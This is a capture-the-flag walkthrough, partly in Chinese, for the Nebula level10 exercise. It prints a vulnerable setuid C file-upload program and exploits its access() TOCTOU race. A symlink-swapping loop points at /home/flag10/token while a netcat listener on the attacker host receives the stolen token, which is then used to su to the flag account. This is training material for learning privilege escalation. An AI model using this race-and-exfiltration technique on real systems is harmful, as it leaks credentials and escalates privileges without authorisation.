http://exploit-exercises.com/nebula/level10
About
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10 . Files for this level can be found in /home/flag10.
1#include <stdlib.h>
2#include <unistd.h>
3#include <sys/types.h>
4#include <stdio.h>
5#include <fcntl.h>
6#include <errno.h>
7#include <sys/socket.h>
8#include <netinet/in.h>
9#include <string.h>
10
11int main(int argc, char **argv)
12{
13 char *file;
14 char *host;
15
16 if(argc < 3) {
17 printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
18 exit(1);
19 }
20
21 file = argv[1];
22 host = argv[2];
23
24 if(access(argv[1], R_OK) == 0) {
25 int fd;
26 int ffd;
27 int rc;
28 struct sockaddr_in sin;
29 char buffer[4096];
30
31 printf("Connecting to %s:18211 .. ", host); fflush(stdout);
32
33 fd = socket(AF_INET, SOCK_STREAM, 0);
34
35 memset(&sin, 0, sizeof(struct sockaddr_in));
36 sin.sin_family = AF_INET;
37 sin.sin_addr.s_addr = inet_addr(host);
38 sin.sin_port = htons(18211);
39
40 if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
41 printf("Unable to connect to host %s\n", host);
42 exit(EXIT_FAILURE);
43 }
44
45#define HITHERE ".oO Oo.\n"
46 if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
47 printf("Unable to write banner to host %s\n", host);
48 exit(EXIT_FAILURE);
49 }
50#undef HITHERE
51
52 printf("Connected!\nSending file .. "); fflush(stdout);
53
54 ffd = open(file, O_RDONLY);
55 if(ffd == -1) {
56 printf("Damn. Unable to open file\n");
57 exit(EXIT_FAILURE);
58 }
59
60 rc = read(ffd, buffer, sizeof(buffer));
61 if(rc == -1) {
62 printf("Unable to read from file: %s\n", strerror(errno));
63 exit(EXIT_FAILURE);
64 }
65
66 write(fd, buffer, rc);
67
68 printf("wrote file!\n");
69
70 } else {
71 printf("You don't have access to %s\n", file);
72 }
73}
这个case是经典的linux TOCTOU 漏洞, 下面是转载的,并且根据自己的实际操作添加了一些原来提及的细节
Ah, race condition at last!
After initial reading we can quickly conclude: it’s a standard TOCTOU vulnerability (which also is clearly mentioned in access()
man page). Apart from that we need to note that token
is sent over network so we have to receive it somehow (nc
for the president!).
First things first we will run nc
in an infinite loop on our host machine:
host$ while true ; do nc -l 18211 ; done
After that nc
will listen on port 18211
and not terminate after receiving each message fromlevel10
.
Back to Nebula VM — we need to have two running terminals.
On the first terminal we execute the following command:
cd /tmp
touch msg
level10$ while true ; do ln -s msg lnk && rm lnk && ln -s /home/flag10/token lnk && rm lnk ; done
Which creates dangling symlink.
On the second terminal we execute:
level10$ while true ; do /home/flag10/flag10 /tmp/lnk 192.168.1.10 ; done
Which tries executing /home/flag10/flag10
in an infinite loop with input file as /tmp/lnk
(which is our dangling symlink).
After couple of iterations you will see proper key on your host’s nc
instance, from here on you only need to do su flag10
with the token as password.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
level10@nebula:/tmp$ su flag10
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Voila.